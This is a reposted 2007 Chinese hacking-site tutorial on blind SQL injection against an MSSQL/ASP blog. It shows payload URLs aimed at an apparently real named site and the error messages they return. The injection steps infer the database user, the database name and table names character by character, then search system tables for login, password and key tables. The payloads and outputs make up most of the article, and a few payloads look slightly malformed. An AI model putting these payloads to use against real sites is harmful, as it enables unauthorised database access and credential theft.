黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]运用SQL Injection做数据库渗透的一种思路
      ★★★★★

运用SQL Injection做数据库渗透的一种思路

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-9-22 17:29:12

如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方

www.xxxxx.com/blog.asp?id=4

当加入" ’ "符号进行注入测试时,

www.xxxxx.com/blog.asp?id=4’

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’4? to a column of data type int

我们知道它不对" ’ "符号进行过滤。再用如下语句测试,

http://www.aquavelvas.com/blog.asp?id=4 and 1=1

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’4 and 1=1’ to a column of data type int

好,再来继续测试,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1

这次出错讯息不同了,如下

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and ’

我们的" ’ "符号加对了,再继续测试,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>’0

出错信息如下,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and user>’

应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>’0

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ’ and len(user)>’

好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对的。

我们试试逻辑上错的语句,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2

果然,出错信息是,

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record

从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是thomasa。再用db_name()这个function,我们可猜出数据库名。

好了,如何猜表名呢?就先猜表名的长度吧,

就用如下语句,

len(select top 1 name from sysobjects where xtype=’U’)>10

len(select top 1 name from sysobjects where xtype=’U’)>9

len(select top 1 name from sysobjects where xtype=’U’)>8

...

(猜表名的工作是很烦人,建议用perl写个script来玩玩)

再猜表名,

left((select top 1 name from sysobjects where xtype=’U’),1)=a

left((select top 1 name from sysobjects where xtype=’U’),2)=ab

left((select top 1 name from sysobjects where xtype=’U’),3)=abc

...

好了,我们知道第一个表名是’geoipcountrywhois’ (知道为什么我建议写个perl script吧!)

再继续猜表名,

len(select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)>10

len(select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)>9

len(select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)>8

...

left((select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)),1)=b

left((select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)),1)=l

left((select top 1 name from sysobjects where xtype=’U’ and name not in (’geoipcountrywhois’)),1)=o

....

好第二个表名是blog,之后的表名可用(’geoipcountrywhois’,’blog’)来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?

如何搜索呢?就用如下的语句吧,

(select count(*) from sysobjects where xtype=’U’ and name like ’%login%’)=0

(select count(*) from sysobjects where xtype=’U’ and name like ’%pass%’)=0

(select count(*) from sysobjects where xtype=’U’ and name like ’%key%’)=0

(记得将" % "这符号换成" %25 "才是正确的输入)

好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。

希望这思路能开阔注入技术的演变。

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886